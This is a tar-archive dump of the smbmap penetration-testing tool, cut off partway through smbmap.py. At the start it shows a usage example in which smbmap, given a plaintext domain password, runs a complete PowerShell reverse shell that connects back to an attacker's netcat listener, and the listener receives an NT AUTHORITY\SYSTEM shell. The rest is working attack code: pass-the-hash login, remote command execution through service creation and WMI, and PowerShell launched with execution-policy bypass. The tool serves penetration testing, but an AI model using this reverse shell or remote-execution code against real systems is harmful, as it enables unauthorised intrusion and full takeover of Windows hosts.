$ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.2.50:445 Name: unkown
[!] Error encountered, sharing violation, unable to retrieve output
```
## Attackers Netcat Listener:
```
$ nc -l 4445
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
```
smbmap-1.8.2/psutils/ 0000775 0000000 0000000 00000000000 13630034065 0014504 5 ustar 00root root 0000000 0000000 smbmap-1.8.2/psutils/Get-FileLockProcess.ps1 0000664 0000000 0000000 00000024277 13630034065 0020711 0 ustar 00root root 0000000 0000000 function Get-FileLockProcess($FilePath) {
##### BEGIN Variable/Parameter Transforms and PreRun Prep #####
if (! $(Test-Path $FilePath)) {
Write-Error "The path $FilePath was not found! Halting!"
$global:FunctionResult = "1"
return
}
##### END Variable/Parameter Transforms and PreRun Prep #####
##### BEGIN Main Body #####
if ($PSVersionTable.PSEdition -eq "Desktop" -or $PSVersionTable.Platform -eq "Win32NT" -or
$($PSVersionTable.PSVersion.Major -le 5 -and $PSVersionTable.PSVersion.Major -ge 3)) {
$CurrentlyLoadedAssemblies = [System.AppDomain]::CurrentDomain.GetAssemblies()
$AssembliesFullInfo = $CurrentlyLoadedAssemblies | Where-Object {
$_.GetName().Name -eq "Microsoft.CSharp" -or
$_.GetName().Name -eq "mscorlib" -or
$_.GetName().Name -eq "System" -or
$_.GetName().Name -eq "System.Collections" -or
$_.GetName().Name -eq "System.Core" -or
$_.GetName().Name -eq "System.IO" -or
$_.GetName().Name -eq "System.Linq" -or
$_.GetName().Name -eq "System.Runtime" -or
$_.GetName().Name -eq "System.Runtime.Extensions" -or
$_.GetName().Name -eq "System.Runtime.InteropServices"
}
$AssembliesFullInfo = $AssembliesFullInfo | Where-Object {$_.IsDynamic -eq $False}
$ReferencedAssemblies = $AssembliesFullInfo.FullName | Sort-Object | Get-Unique
$usingStatementsAsString = @"
using Microsoft.CSharp;
using System.Collections.Generic;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Runtime;
using System;
using System.Diagnostics;
"@
$TypeDefinition = @"
$usingStatementsAsString
namespace MyCore.Utils
{
static public class FileLockUtil
{
[StructLayout(LayoutKind.Sequential)]
struct RM_UNIQUE_PROCESS
{
public int dwProcessId;
public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
}
const int RmRebootReasonNone = 0;
const int CCH_RM_MAX_APP_NAME = 255;
const int CCH_RM_MAX_SVC_NAME = 63;
enum RM_APP_TYPE
{
RmUnknownApp = 0,
RmMainWindow = 1,
RmOtherWindow = 2,
RmService = 3,
RmExplorer = 4,
RmConsole = 5,
RmCritical = 1000
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct RM_PROCESS_INFO
{
public RM_UNIQUE_PROCESS Process;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_APP_NAME + 1)]
public string strAppName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_SVC_NAME + 1)]
public string strServiceShortName;
public RM_APP_TYPE ApplicationType;
public uint AppStatus;
public uint TSSessionId;
[MarshalAs(UnmanagedType.Bool)]
public bool bRestartable;
}
[DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
static extern int RmRegisterResources(uint pSessionHandle,
UInt32 nFiles,
string[] rgsFilenames,
UInt32 nApplications,
[In] RM_UNIQUE_PROCESS[] rgApplications,
UInt32 nServices,
string[] rgsServiceNames);
[DllImport("rstrtmgr.dll", CharSet = CharSet.Auto)]
static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey);
[DllImport("rstrtmgr.dll")]
static extern int RmEndSession(uint pSessionHandle);
[DllImport("rstrtmgr.dll")]
static extern int RmGetList(uint dwSessionHandle,
out uint pnProcInfoNeeded,
ref uint pnProcInfo,
[In, Out] RM_PROCESS_INFO[] rgAffectedApps,
ref uint lpdwRebootReasons);
///
/// Find out what process(es) have a lock on the specified file.
///
/// Path of the file.
/// Processes locking the file
/// See also:
/// http://msdn.microsoft.com/en-us/library/windows/desktop/aa373661(v=vs.85).aspx
/// http://wyupdate.googlecode.com/svn-history/r401/trunk/frmFilesInUse.cs (no copyright in code at time of viewing)
///
///
static public List WhoIsLocking(string path)
{
uint handle;
string key = Guid.NewGuid().ToString();
List processes = new List();
int res = RmStartSession(out handle, 0, key);
if (res != 0) throw new Exception("Could not begin restart session. Unable to determine file locker.");
try
{
const int ERROR_MORE_DATA = 234;
uint pnProcInfoNeeded = 0,
pnProcInfo = 0,
lpdwRebootReasons = RmRebootReasonNone;
string[] resources = new string[] { path }; // Just checking on one resource.
res = RmRegisterResources(handle, (uint)resources.Length, resources, 0, null, 0, null);
if (res != 0) throw new Exception("Could not register resource.");
//Note: there's a race condition here -- the first call to RmGetList() returns
// the total number of process. However, when we call RmGetList() again to get
// the actual processes this number may have increased.
res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, null, ref lpdwRebootReasons);
if (res == ERROR_MORE_DATA)
{
// Create an array to store the process results
RM_PROCESS_INFO[] processInfo = new RM_PROCESS_INFO[pnProcInfoNeeded];
pnProcInfo = pnProcInfoNeeded;
// Get the list
res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref lpdwRebootReasons);
if (res == 0)
{
processes = new List((int)pnProcInfo);
// Enumerate all of the results and add them to the
// list to be returned
for (int i = 0; i < pnProcInfo; i++)
{
try
{
processes.Add(Process.GetProcessById(processInfo[i].Process.dwProcessId));
}
// catch the error -- in case the process is no longer running
catch (ArgumentException) { }
}
}
else throw new Exception("Could not list processes locking resource.");
}
else if (res != 0) throw new Exception("Could not list processes locking resource. Failed to get size of result.");
}
finally
{
RmEndSession(handle);
}
return processes;
}
}
}
"@
$CheckMyCoreUtilsFileLockUtilLoaded = $CurrentlyLoadedAssemblies | Where-Object {$_.ExportedTypes -like "MyCore.Utils.FileLockUtil*"}
if ($CheckMyCoreUtilsFileLockUtilLoaded -eq $null) {
Add-Type -ReferencedAssemblies $ReferencedAssemblies -TypeDefinition $TypeDefinition
}
else {
Write-Output "The Namespace MyCore.Utils Class FileLockUtil is already loaded and available!"
}
$Result = [MyCore.Utils.FileLockUtil]::WhoIsLocking($FilePath)
}
if ($PSVersionTable.Platform -ne $null -and $PSVersionTable.Platform -ne "Win32NT") {
$lsofOutput = lsof $FilePath
function Parse-lsofStrings ($lsofOutput, $Index) {
$($lsofOutput[$Index] -split " " | foreach {
if (![String]::IsNullOrWhiteSpace($_)) {
$_
}
}).Trim()
}
$lsofOutputHeaders = Parse-lsofStrings -lsofOutput $lsofOutput -Index 0
$lsofOutputValues = Parse-lsofStrings -lsofOutput $lsofOutput -Index 1
$Result = [pscustomobject]@{}
for ($i=0; $i -lt $lsofOutputHeaders.Count; $i++) {
$Result | Add-Member -MemberType NoteProperty -Name $lsofOutputHeaders[$i] -Value $lsofOutputValues[$i]
}
}
$Result.Id
##### END Main Body #####
}
if ($args.Length -eq 0)
{
echo "Usage: Get-FileLockProcess "
}
else
{
Get-FileLockProcess($args[0])
}
smbmap-1.8.2/requirements.txt 0000664 0000000 0000000 00000000142 13630034065 0016262 0 ustar 00root root 0000000 0000000 https://github.com/CoreSecurity/impacket/archive/impacket_0_9_20.zip
pyasn1
pycrypto
configparser
smbmap-1.8.2/smbmap.py 0000775 0000000 0000000 00000163615 13630034065 0014651 0 ustar 00root root 0000000 0000000 #! /usr/bin/env python3
import sys
import traceback
import uuid
import signal
import string
import time
import random
import string
import logging
import configparser
import argparse
import ipaddress
import inspect
from threading import Thread
from threading import Semaphore
from impacket.examples import logger
from impacket import version, smbserver
from impacket.smbserver import SRVSServer
from impacket.smbserver import WKSTServer
from impacket.smbconnection import *
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
import ntpath
import cmd
import os
import re
# A lot of this code was taken from Impacket's own examples
# https://github.com/SecureAuthCorp/impacket/
# Seriously, the most amazing Python library ever!!
# Many thanks to that dev team
OUTPUT_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',10))
BATCH_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10)) + '.bat'
SMBSERVER_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
DUMMY_SHARE = 'TMP'
PERM_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
PSUTIL_DIR= 'psutils'
PSUTIL_SHARE = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
class Loader(Thread):
def __init__(self):
Thread.__init__(self)
self._running = True
self._progress = '\\|/-\\|/-'
def terminate(self):
self._running = False
def cleanup(self):
print(' '*32, end='')
print('\r', end='')
def run(self):
while self._running:
for char in self._progress:
print('[{}] Working on it...'.format(char), end='')
print('\r', end='')
time.sleep(0.05)
class SimpleSMBServer(Thread):
def __init__(self, interface_address, port):
Thread.__init__(self)
self.smbserver = smbserver.SimpleSMBServer(listenAddress = interface_address, listenPort = int(port))
self.smbserver.addShare(PSUTIL_SHARE, PSUTIL_DIR, shareComment='P0w3r$he11')
self.smbserver.setSMB2Support(True)
def run(self):
self.smbserver.start()
class SMBServer(Thread):
def __init__(self):
Thread.__init__(self)
self.smb = None
print('[+] Initializing SMB server..')
def cleanup_server(self):
logging.info('Cleaning up..')
try:
os.unlink(SMBSERVER_DIR + '/smb.log')
except:
pass
os.rmdir(SMBSERVER_DIR)
def run(self):
# Here we write a mini config for the server
smbConfig = configparser.ConfigParser(allow_no_value=True)
smbConfig.add_section('global')
smbConfig.set('global','server_name','nopsec')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file', SMBSERVER_DIR + '/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share
smbConfig.add_section(DUMMY_SHARE)
smbConfig.set(DUMMY_SHARE,'comment','')
smbConfig.set(DUMMY_SHARE,'read only','no')
smbConfig.set(DUMMY_SHARE,'share type','0')
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0', 445), config_parser = smbConfig)
try:
os.mkdir(SMBSERVER_DIR)
except Exception as e:
pass
self.smb.processConfigFile()
self.__srvsServer = SRVSServer()
self.__srvsServer.daemon = True
self.__wkstServer = WKSTServer()
self.__wkstServer.daemon = True
self.smb.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
self.smb.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort()))
try:
print('[+] SMB server started...')
self.__srvsServer.start()
self.__wkstServer.start()
self.smb.serve_forever()
except Exception as e:
print('[!] Error starting SMB server: ', e)
pass
def stop(self):
self.cleanup_server()
self.smb.socket.close()
self.smb.server_close()
#self._Thread__stop()
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None, scr_output=True):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__disp_output = scr_output
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShellWMI(self.__share, win32Process, smbConnection, self.__disp_output)
if self.__command != ' ':
output = self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
#import traceback
#traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
#sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
return output
class RemoteShellWMI(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, disp_output=True):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = ''
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = 'C:\\'
self.__noOutput = False
self.__disp_output = disp_output
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
""")
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
def do_get(self, src_path):
try:
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
logging.error(str(e))
os.remove(filename)
pass
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception as e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = self.__pwd + '>'
self.__outputBuffer = ''
else:
if line != '':
x = inspect.currentframe()
y = inspect.getouterframes(x,2)
return self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data.decode()
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
else:
pass
self.__transferClient.deleteFile(self.__share, self.__output)
return self.__output
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
if self.__disp_output:
print(self.__outputBuffer)
__lastCmdOutput = self.__outputBuffer
self.__outputBuffer = ''
return __lastCmdOutput
class CMDEXEC:
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, noOutput=False,
doKerberos=None, kdcHost=None, mode='SHARE', share=None, port=445, command=None):
self.__username = username
self.__password = password
self.__port = port
self.__serviceName = OUTPUT_FILENAME
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__share = share
self.__mode = mode
self.shell = None
self.command = command
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if hasattr(rpctransport,'setRemoteHost'):
rpctransport.setRemoteHost(remoteHost)
else:
rpctransport.__dstip = remoteHost
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
#rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.shell = None
try:
if self.__mode == 'SERVER':
serverThread = SMBServer()
serverThread.daemon = True
serverThread.start()
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
self.shell.send_data(self.command)
if self.__mode == 'SERVER':
serverThread.stop()
except (Exception, KeyboardInterrupt) as e:
print('[!] Something went wrong:', str(e))
class RemoteShell(cmd.Cmd):
def __init__(self, share, rpc, mode, serviceName):
cmd.Cmd.__init__(self)
self.__share = share
self.__mode = mode
self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
self.__command = ''
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.__scmr = rpc.get_dce_rpc()
try:
self.__scmr.connect()
except Exception as e:
#logging.critical(str(e))
print(e)
#sys.exit(1)
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
self.do_cd('')
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except:
pass
def do_shell(self, s):
os.system(s)
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
# We just can't CD or mantain track of the target dir.
if len(s) > 0:
logging.error("You can't CD under SMBEXEC. Use full paths.")
self.execute_remote('cd ' )
if len(self.__outputBuffer) > 0:
# Stripping CR/LF
self.prompt = self.__outputBuffer.replace('\r\n','') + '>'
self.__outputBuffer = ''
def do_CD(self, s):
return self.do_cd(s)
def default(self, line):
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data.decode()
if self.__mode == 'SHARE':
self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
else:
fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
output_callback(fd.read())
fd.close()
os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
self.__shell + self.__batchFile
if self.__mode == 'SERVER':
command += ' & ' + self.__copyBack
command += ' & ' + 'del ' + self.__batchFile
logging.debug('Executing %s' % command)
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''
class SMBMap():
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self):
self.recursive = False
self.dir_only = False
self.list_files = False
self.loading = False
self.verbose = True
self.smbconn = {}
self.isLoggedIn = False
self.pattern = None
self.grepable = False
self.hosts = {}
self.jobs = {}
self.search_output_buffer = ''
self.loader = None
self.exclude = []
def login(self, host, username, password, domain):
try:
self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=4)
self.smbconn[host].login(username, password, domain=domain)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest SMB session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User SMB session established on %s...' % (host))
'''
return True
except Exception as e:
return False
def logout(self, host):
self.smbconn[host].logoff()
def smart_login(self):
for host in list(self.hosts.keys()):
success = False
if self.is_ntlm(self.hosts[host]['passwd']):
#if verbose:
# print('[+] Hash detected, using pass-the-hash to authenticate')
if self.hosts[host]['port'] == 445:
success = self.login_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
success = self.login_rpc_hash(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
if self.hosts[host]['port'] == 445:
success = self.login(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
else:
success = self.login_rpc(host, self.hosts[host]['user'], self.hosts[host]['passwd'], self.hosts[host]['domain'])
if not success:
if self.verbose:
print('[!] Authentication error on %s' % (host))
self.smbconn.pop(host,None)
self.hosts.pop(host, None)
continue
def login_rpc_hash(self, host, username, ntlmhash, domain):
lmhash, nthash = ntlmhash.split(':')
try:
self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=4)
self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest RPC session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User RPC session established on %s...' % (host))
'''
return True
except Exception as e:
if self.verbose:
print('[!] RPC Authentication error occurred')
return False
def login_rpc(self, host, username, password, domain):
try:
self.smbconn[host] = SMBConnection('*SMBSERVER', host, sess_port=139, timeout=4)
self.smbconn[host].login(username, password, domain)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest RPC session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User RPC session established on %s...' % (host))
'''
return True
except Exception as e:
print('[!] RPC Authentication error occurred')
return False
def login_hash(self, host, username, ntlmhash, domain):
lmhash, nthash = ntlmhash.split(':')
try:
self.smbconn[host] = SMBConnection(host, host, sess_port=445, timeout=4)
self.smbconn[host].login(username, '', domain, lmhash=lmhash, nthash=nthash)
'''
if self.smbconn[host].isGuestSession() > 0:
if verbose and not self.grepable:
print('[+] Guest session established on %s...' % (host))
else:
if verbose and not self.grepable:
print('[+] User session established on %s...' % (host))
'''
return True
except Exception as e:
print('[!] Authentication error occurred')
return False
def find_open_ports(self, address, port):
result = 1
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((address,port))
if result == 0:
sock.close()
return True
else:
if self.verbose:
print('[!] 445 not open on {}....'.format(address))
return False
except:
if self.verbose():
print('[!] 445 not open on {}....'.format(address))
return False
def start_smb_server(self):
try:
serverThread = SimpleSMBServer('0.0.0.0', 445)
serverThread.daemon = True
serverThread.start()
except:
print('[!] Run as r00t, or maybe something is using port 445...')
sys.exit()
def start_file_search(self, host, pattern, share, search_path):
try:
myIPaddr = self.get_ip_address()
job_name = uuid.uuid4().hex
tmp_dir = self.exec_command(host, share, 'echo %TEMP%', disp_output=False).strip()
if len(tmp_dir) == 0:
tmp_dir = 'C:\\Windows\\Temp'
tmp_bat_cmd = 'powershell -NoLogo -ExecutionPolicy bypass -Command " & {}Get-ChildItem {}\*.* -Recurse -Exclude *.dll,*.exe,*.msi,*.jpg,*.gif,*.bmp | Select-String -Pattern \'{}\' | Select-Object -Unique Path | out-string -width 220{}" 2>nul > {}\{}.txt'.format('{', search_path, pattern, '}', tmp_dir, job_name)
tmp_bat = open('./{}/{}.bat'.format(PSUTIL_DIR, job_name), 'w')
tmp_bat.write(tmp_bat_cmd)
tmp_bat.close()
ps_command = 'powershell -ExecutionPolicy bypass -NoLogo -command "Start-Process """cmd.exe""" """/c \\\\{}\\{}\\{}.bat""" "'.format(myIPaddr, PSUTIL_SHARE, job_name)
success = self.exec_command(host, share, ps_command, disp_output=False)
print('[+] Job {} started on {}, result will be stored at {}\{}.txt'.format(job_name, host, tmp_dir, job_name))
proc_id = self.get_job_procid(host, share, tmp_dir, job_name)
if len(proc_id) > 0:
proc_id = [j.strip() for j in proc_id.split('\n') if len(j) > 0]
self.jobs[job_name] = { 'host' : host, 'share' : share, 'tmp' : tmp_dir , 'pattern' : pattern, 'start_time': time.perf_counter() , 'proc_id' : proc_id }
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print('[!] Something weird happened: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
print('[!] Job creation failed on host: %s. Did you run as r00t?' % (host))
def get_job_procid(self, host, share, path, job):
try:
myIPaddr = self.get_ip_address()
file_path = '{}\{}.txt'.format(path, job)
command = 'powershell -NoLogo -ExecutionPolicy bypass -File "\\\\{}\\{}\\Get-FileLockProcess.ps1" "{}"'.format(myIPaddr, PSUTIL_SHARE, file_path)
result = self.exec_command(host, share, command, disp_output=False)
return result
except Exception as e:
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
print('[!] WTF: {} on line {}'.format(e, exc_tb.tb_lineno))
sys.stdout.flush()
def get_search_results(self, timeout):
print('[+] Checking on search results, be patient, drives tend to be big...')
counter = 0
num_jobs = len(list(self.jobs.keys()))
start_time = time.perf_counter()
while len(list(self.jobs.keys())) > 0:
try:
for job in list(self.jobs.keys()):
